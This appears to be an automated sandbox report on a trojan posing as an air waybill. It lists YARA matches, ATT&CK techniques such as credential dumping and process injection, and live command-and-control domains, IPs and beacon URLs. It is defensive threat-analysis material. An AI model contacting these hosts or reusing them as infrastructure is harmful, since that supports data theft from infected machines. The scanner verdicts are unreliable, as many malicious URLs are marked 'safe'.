Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: AWB NO. 077-57676135055.exe	Binary or memory string: WIN_81
Source: AWB NO. 077-57676135055.exe	Binary or memory string: WIN_XP
Source: AWB NO. 077-57676135055.exe	Binary or memory string: WIN_XPe
Source: AWB NO. 077-57676135055.exe	Binary or memory string: WIN_VISTA
Source: AWB NO. 077-57676135055.exe	Binary or memory string: WIN_7
Source: AWB NO. 077-57676135055.exe	Binary or memory string: WIN_8
Source: AWB NO. 077-57676135055.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 5USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Remote Access Functionality

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.18533462079.0000000002D90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.23184804964.0000000002AE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.18532632938.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.23186298424.00000000050F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.23186502535.0000000003120000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.23186224923.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.18534395996.0000000005E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00476596 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		0_2_00476596
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00476A5A socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_00476A5A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	2 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	151 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
AWB NO. 077-57676135055.exe	100%	Joe Sandbox ML
AWB NO. 077-57676135055.exe	47%	ReversingLabs	Win32.Trojan.Strab

Source	Detection	Scanner	Label
https://www.schema.org/SiteNavigationElement	0%	Avira URL Cloud	safe
https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-includes/js/mediaelement/mediaelementplayer-legacy.min.css?ver=4.2.17	0%	Avira URL Cloud	safe
https://lakemontbellevue.net	0%	Avira URL Cloud	safe
https://www.monsterinsights.com/	0%	Avira URL Cloud	safe
http://voupeclients.com	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/bootstrap-smartmenus.css?v	0%	Avira URL Cloud	safe
https://lakemontbellevue.net/comments/feed/	0%	Avira URL Cloud	safe
https://lakemontbellevue.net/#website	0%	Avira URL Cloud	safe
http://www.fundraiserstuffies.com/fzbg/	0%	Avira URL Cloud	safe
https://i0.wp.com/lakemontbellevue.net/wp-content/uploads/2024/05/MacPhersons-Logo.png?resize=150%2C	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/bootstrap.min.css?ver=6.5.	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/style.css?ver=6.5.5	0%	Avira URL Cloud	safe
http://www.6171nvuhb.rent/hqcp/	0%	Avira URL Cloud	safe
https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	Avira URL Cloud	safe
https://www.google.com	0%	Avira URL Cloud	safe
http://www.6171nvuhb.rent/hqcp/?vX=a7ZQHf8WLvhHVBvdkZq5xuKGtafV4VgGgVvybuFCKLHzqS2zk6yuhV6s1hLkbw5zmPfcdtbcw9raqNmLcm/5LDv7+9F7BWl1gWJ1Gl5m9d8a+w3Gr0PmHHU=&_B7=LxyxWrj8kri0gh	0%	Avira URL Cloud	safe
http://www.olhadeputat.com/ieqg/?vX=xOYzP3dXeV68t5l1tdRGSaa1OFHMEwYl9QyrCyFOBp5kwxTuFOJ28A7LPoPnjOnXE6vKLrR6BAa5LOtmMQtvuaXLo91Bunju73veWhfgD7rjWCO2fFDcACU=&_B7=LxyxWrj8kri0gh	0%	Avira URL Cloud	safe
https://www.paliinfra.com/12kg/?vX=FNzl8wnE	0%	Avira URL Cloud	safe
https://lakemontbellevue.net/	0%	Avira URL Cloud	safe
http://www.spotluv.xyz/pci0/	0%	Avira URL Cloud	safe
http://www.voupeclients.com/ouk5/?vX=PLWVRijYnvzxBPZV68lDWez5n1m4qNxygDOUEJJl7paGkoFy8irkxF+ePmZFSckDR+ltzcYQPDsLLRino9E0Pe5jqCKxYTXxZRA6KSseMdymxDABailrF38=&_B7=LxyxWrj8kri0gh	0%	Avira URL Cloud	safe
https://lakemontbellevue.net/#organization	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/loading-icon.css?ver=6.5.5	0%	Avira URL Cloud	safe
http://www.musiccitysauce.com/3c1k/?vX=JBvkiC5/p5M0KduSv9nMAq1L7Ov9kIxy2ulrSw8DAMQ+oYrb/Oqt+Mz9qyL7kOgxOchk71vbEF/036GwyUgS8aFzNiZYrtFOzFZSCs3+FXjpDA1Q93DrzfE=&_B7=LxyxWrj8kri0gh	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-includes/js/jquery/jquery.min.js?ver=3.7.1	0%	Avira URL Cloud	safe
https://lakemontbellevue.net/feed/	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/js/wow.js?ver=6.5.5	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-content/plugins/bluehost-wordpress-plugin/vendor/newfold-labs/wp-modu	0%	Avira URL Cloud	safe
https://lakemontbellevue.net/#/schema/logo/image/	0%	Avira URL Cloud	safe
http://www.selllaptop.org/tq5r/	0%	Avira URL Cloud	safe
https://i0.wp.com/lakemontbellevue.net/wp-content/uploads/2024/05/Lakemont-Logo-1-1.png?fit=220%2C70	0%	Avira URL Cloud	safe
https://schema.org	0%	Avira URL Cloud	safe
https://www.google.com/favicon.ico	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress//assets/js/mobile-menu.js?ver=6.5.5	0%	Avira URL Cloud	safe
https://lakemontbellevue.net/wp-json/	0%	Avira URL Cloud	safe
http://www.selllaptop.org/tq5r/?vX=2ahlOPqFbaLRJ59RJMyuJ7IfIQg9pPTz0C4c2znY6LEO/TCdmpUdsfBsLge4LzAAnPKkz9TLh65OzxMJqcN49ZYZ04DS6e4TLs38paEuEBs4iPeVqFZufcc=&_B7=LxyxWrj8kri0gh	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress//assets/js/menu.js?ver=6.5.5	0%	Avira URL Cloud	safe
http://www.voupeclients.com/ouk5/	0%	Avira URL Cloud	safe
https://lakemontbellevue.net/?s=	0%	Avira URL Cloud	safe
https://aaa.za1.jecxs.cn/123.html	0%	Avira URL Cloud	safe
https://lakemontbellevue.net/privacy-policy/	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/js/animation/animate.js?ver=6.	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-includes/js/mediaelement/wp-mediaelement.min.css?ver=6.5.5	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-includes/css/dist/block-library/style.min.css?ver=6.5.5	0%	Avira URL Cloud	safe
https://cdn.userway.org/widget.js	0%	Avira URL Cloud	safe
https://lakemontbellevue.net/xmlrpc.php?rsd	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/js/owl.carousel.min.js?ver=6.5	0%	Avira URL Cloud	safe
http://www.musiccitysauce.com/3c1k/	0%	Avira URL Cloud	safe
http://www.orthonow.live/c7lp/	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/animate.css?ver=6.5.5	0%	Avira URL Cloud	safe
https://support.google.com/chrome/?p=plugin_flash	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-includes/js/comment-reply.min.js?ver=6.5.5	0%	Avira URL Cloud	safe
https://yoast.com/wordpress/plugins/seo/	0%	Avira URL Cloud	safe
https://i0.wp.com/lakemontbellevue.net/wp-content/uploads/2024/05/MacPhersons-Logo.png?w=512&ssl	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/js/bootstrap.min.js?ver=6.5.5	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/js/main.js?ver=6.5.5	0%	Avira URL Cloud	safe
https://i0.wp.com/lakemontbellevue.net/wp-content/uploads/2024/05/cropped-Lakemont-favicon.png?fit=2	0%	Avira URL Cloud	safe
https://lakemontbellevue.net/wp-content/uploads/2024/05/MacPhersons-Logo.png	0%	Avira URL Cloud	safe
https://macphersonspm.appfolio.com/connect/users/sign_in	0%	Avira URL Cloud	safe
http://www.costmoon.com/9m56/?_B7=LxyxWrj8kri0gh&vX=wSNNrhltoDErcnEzxm9/w28Dp1eoX3XTDY+0HSDY/xjQqFM+lgiwoO0LpiVzuA8Bz+prc1fM5Kq2+VzXMkRPAHQ+fn8FfBllirngXHZ4XxgzDhA7JZPwDGY=	0%	Avira URL Cloud	safe
https://i0.wp.com/lakemontbellevue.net/wp-content/uploads/2024/05/cropped-Lakemont-favicon.png?fit=1	0%	Avira URL Cloud	safe
https://i0.wp.com/lakemontbellevue.net/wp-content/uploads/2024/05/cropped-Lakemont-favicon.png?fit=3	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/js/custom.js?ver=6.5.5	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1	0%	Avira URL Cloud	safe
http://www.orthonow.live	0%	Avira URL Cloud	safe
http://www.olhadeputat.com/ieqg/	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/owl.carousel.css?ver=6.5.5	0%	Avira URL Cloud	safe
http://www.orthonow.live/c7lp/?vX=AZtUjmxX1+ilQa3cAX9z1397/CoXyobuelvuG0qO50IIYxbQIoa2zaoIA52olqXa0ysfLjRam7UGaI/Eozxq/aJIiPqlVVE06lZEm1LC+u5u0D0LnPSZBcs=&_B7=LxyxWrj8kri0gh	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-content/themes/awp-marketing-agency/style.css?ver=6.5.5	0%	Avira URL Cloud	safe
https://stats.wp.com/e-202427.js	0%	Avira URL Cloud	safe
https://api.w.org/	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/skin-default.css?ver=6.5.5	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/font-awesome/css/font-awes	0%	Avira URL Cloud	safe
http://www.vintagewins.com/n8dl/	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/js/jquery.min.js?ver=6.5.5	0%	Avira URL Cloud	safe
https://ac.ecosia.org/autocomplete?q=	0%	Avira URL Cloud	safe
http://www.motorsportgives.com/9qp3/	0%	Avira URL Cloud	safe
https://hm.baidu.com/hm.js?be472e8744edb3816324a1183cdffac6	0%	Avira URL Cloud	safe
http://vintagewins.com/n8dl/?vX=FC28	0%	Avira URL Cloud	safe
https://hm.baidu.com/hm.js?800ccf274c3a593a3653e6acbfb00c7c	0%	Avira URL Cloud	safe
https://lakemontbellevue.net/wp-content/uploads/2024/05/Lakemont-Logo-1-1.png	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress//assets/js/screen-reader-text.js?ver=	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/menu.css?ver=6.5.5	0%	Avira URL Cloud	safe
http://www.lakemontbellevue.com/bjbg/	100%	Avira URL Cloud	malware
http://www.paliinfra.com/12kg/	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-content/themes/awp-marketing-agency/assets/css/dark-brown-theme.css?v	0%	Avira URL Cloud	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	Avira URL Cloud	safe
https://i0.wp.com/lakemontbellevue.net/wp-content/uploads/2024/05/MacPhersons-Logo.png?resize=300%2C	0%	Avira URL Cloud	safe
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/all.min.css?ver=6.5.5	0%	Avira URL Cloud	safe
http://www.paliinfra.com/12kg/?vX=FNzl8wnE++HPhG206OaKKCmPORssckNSyI+M4a86U0qBkTFFPriGBeWQyCEz+v1Kx2tJcxLpZ/phLMA1BmxsvaSisGFPcKMREi9fCQxgCdocMTbgTC3h6NU=&_B7=LxyxWrj8kri0gh	0%	Avira URL Cloud	safe
http://www.vintagewins.com/n8dl/?vX=FC28+8TNt1EBJ9Rr13Lf8bY2TrPAAO0Ms+TIyItlK84e+VLAwR127cfT6eGfINY83g5c74t6Ntc+Rr+iqurKq/8v/YzcG8LG32bad+3/XATcsm3Xq6o13Rk=&_B7=LxyxWrj8kri0gh	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
musiccitysauce.com	3.33.130.190	true	true	unknown
vintagewins.com	103.120.176.124	true	true	unknown
www.spotluv.xyz	203.161.50.127	true	true	unknown
www.orthonow.live	199.59.243.226	true	true	unknown
fundraiserstuffies.com	3.33.130.190	true	true	unknown
www.paliinfra.com.cdn.hstgr.net	84.32.84.192	true	true	unknown
selllaptop.org	3.33.130.190	true	true	unknown
www.t8nia9vkpx.icu	47.76.215.53	true	false	unknown
www.olhadeputat.com	172.67.146.224	true	true	unknown
adamknoxexperience.com	154.53.59.40	true	false	unknown
www.costmoon.com	74.208.236.38	true	true	unknown
lakemontbellevue.com	66.235.200.145	true	true	unknown
pixie.porkbun.com	44.227.65.245	true	true	unknown
www.motorsportgives.com	74.208.236.230	true	true	unknown
www.6171nvuhb.rent	142.202.6.230	true	true	unknown
www.paliinfra.com	unknown	unknown	true	unknown
www.lakemontbellevue.com	unknown	unknown	true	unknown
www.musiccitysauce.com	unknown	unknown	true	unknown
www.voupeclients.com	unknown	unknown	true	unknown
www.marktuana.com	unknown	unknown	true	unknown
www.selllaptop.org	unknown	unknown	true	unknown
www.adamknoxexperience.com	unknown	unknown	true	unknown
www.vintagewins.com	unknown	unknown	true	unknown
www.fundraiserstuffies.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.fundraiserstuffies.com/fzbg/	true	Avira URL Cloud: safe	unknown
http://www.6171nvuhb.rent/hqcp/	true	Avira URL Cloud: safe	unknown
http://www.olhadeputat.com/ieqg/?vX=xOYzP3dXeV68t5l1tdRGSaa1OFHMEwYl9QyrCyFOBp5kwxTuFOJ28A7LPoPnjOnXE6vKLrR6BAa5LOtmMQtvuaXLo91Bunju73veWhfgD7rjWCO2fFDcACU=&_B7=LxyxWrj8kri0gh	true	Avira URL Cloud: safe	unknown
http://www.6171nvuhb.rent/hqcp/?vX=a7ZQHf8WLvhHVBvdkZq5xuKGtafV4VgGgVvybuFCKLHzqS2zk6yuhV6s1hLkbw5zmPfcdtbcw9raqNmLcm/5LDv7+9F7BWl1gWJ1Gl5m9d8a+w3Gr0PmHHU=&_B7=LxyxWrj8kri0gh	true	Avira URL Cloud: safe	unknown
http://www.voupeclients.com/ouk5/?vX=PLWVRijYnvzxBPZV68lDWez5n1m4qNxygDOUEJJl7paGkoFy8irkxF+ePmZFSckDR+ltzcYQPDsLLRino9E0Pe5jqCKxYTXxZRA6KSseMdymxDABailrF38=&_B7=LxyxWrj8kri0gh	true	Avira URL Cloud: safe	unknown
http://www.spotluv.xyz/pci0/	true	Avira URL Cloud: safe	unknown
http://www.musiccitysauce.com/3c1k/?vX=JBvkiC5/p5M0KduSv9nMAq1L7Ov9kIxy2ulrSw8DAMQ+oYrb/Oqt+Mz9qyL7kOgxOchk71vbEF/036GwyUgS8aFzNiZYrtFOzFZSCs3+FXjpDA1Q93DrzfE=&_B7=LxyxWrj8kri0gh	true	Avira URL Cloud: safe	unknown
http://www.selllaptop.org/tq5r/	true	Avira URL Cloud: safe	unknown
http://www.voupeclients.com/ouk5/	true	Avira URL Cloud: safe	unknown
http://www.selllaptop.org/tq5r/?vX=2ahlOPqFbaLRJ59RJMyuJ7IfIQg9pPTz0C4c2znY6LEO/TCdmpUdsfBsLge4LzAAnPKkz9TLh65OzxMJqcN49ZYZ04DS6e4TLs38paEuEBs4iPeVqFZufcc=&_B7=LxyxWrj8kri0gh	true	Avira URL Cloud: safe	unknown
http://www.orthonow.live/c7lp/	true	Avira URL Cloud: safe	unknown
http://www.musiccitysauce.com/3c1k/	true	Avira URL Cloud: safe	unknown
http://www.costmoon.com/9m56/?_B7=LxyxWrj8kri0gh&vX=wSNNrhltoDErcnEzxm9/w28Dp1eoX3XTDY+0HSDY/xjQqFM+lgiwoO0LpiVzuA8Bz+prc1fM5Kq2+VzXMkRPAHQ+fn8FfBllirngXHZ4XxgzDhA7JZPwDGY=	true	Avira URL Cloud: safe	unknown
http://www.olhadeputat.com/ieqg/	true	Avira URL Cloud: safe	unknown
http://www.orthonow.live/c7lp/?vX=AZtUjmxX1+ilQa3cAX9z1397/CoXyobuelvuG0qO50IIYxbQIoa2zaoIA52olqXa0ysfLjRam7UGaI/Eozxq/aJIiPqlVVE06lZEm1LC+u5u0D0LnPSZBcs=&_B7=LxyxWrj8kri0gh	true	Avira URL Cloud: safe	unknown
http://www.vintagewins.com/n8dl/	true	Avira URL Cloud: safe	unknown
http://www.motorsportgives.com/9qp3/	true	Avira URL Cloud: safe	unknown
http://www.lakemontbellevue.com/bjbg/	true	Avira URL Cloud: malware	unknown
http://www.paliinfra.com/12kg/	true	Avira URL Cloud: safe	unknown
http://www.vintagewins.com/n8dl/?vX=FC28+8TNt1EBJ9Rr13Lf8bY2TrPAAO0Ms+TIyItlK84e+VLAwR127cfT6eGfINY83g5c74t6Ntc+Rr+iqurKq/8v/YzcG8LG32bad+3/XATcsm3Xq6o13Rk=&_B7=LxyxWrj8kri0gh	true	Avira URL Cloud: safe	unknown
http://www.paliinfra.com/12kg/?vX=FNzl8wnE++HPhG206OaKKCmPORssckNSyI+M4a86U0qBkTFFPriGBeWQyCEz+v1Kx2tJcxLpZ/phLMA1BmxsvaSisGFPcKMREi9fCQxgCdocMTbgTC3h6NU=&_B7=LxyxWrj8kri0gh	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	RpcPing.exe, 00000004.00000003.18883512956.0000000007B99000.00000004.00000020.00020000.00000000.sdmp, 45570IH2.4.dr	false	Avira URL Cloud: safe	unknown
https://lakemontbellevue.net/comments/feed/	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-includes/js/mediaelement/mediaelementplayer-legacy.min.css?ver=4.2.17	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search	RpcPing.exe, 00000004.00000003.18883512956.0000000007B99000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000002.23189698242.0000000007BF0000.00000004.00000020.00020000.00000000.sdmp, 45570IH2.4.dr	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	45570IH2.4.dr	false	Avira URL Cloud: safe	unknown
https://www.monsterinsights.com/	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.schema.org/SiteNavigationElement	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/bootstrap-smartmenus.css?v	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://voupeclients.com	RpcPing.exe, 00000004.00000002.23187811443.0000000004CD8000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000004118000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lakemontbellevue.net	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/style.css?ver=6.5.5	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lakemontbellevue.net/#website	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://i0.wp.com/lakemontbellevue.net/wp-content/uploads/2024/05/MacPhersons-Logo.png?resize=150%2C	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com	RpcPing.exe, 00000004.00000002.23189323501.00000000060C0000.00000004.00000800.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000002.23187811443.00000000041DA000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.000000000361A000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/bootstrap.min.css?ver=6.5.	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RpcPing.exe, 00000004.00000003.18883512956.0000000007B99000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000002.23189698242.0000000007BF0000.00000004.00000020.00020000.00000000.sdmp, 45570IH2.4.dr	false	Avira URL Cloud: safe	unknown
https://lakemontbellevue.net/	jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lakemontbellevue.net/#organization	jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.paliinfra.com/12kg/?vX=FNzl8wnE	RpcPing.exe, 00000004.00000002.23187811443.000000000518E000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.00000000045CE000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css	RpcPing.exe, 00000004.00000002.23187811443.00000000049B4000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003DF4000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-includes/js/jquery/jquery.min.js?ver=3.7.1	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lakemontbellevue.net/feed/	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/loading-icon.css?ver=6.5.5	RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
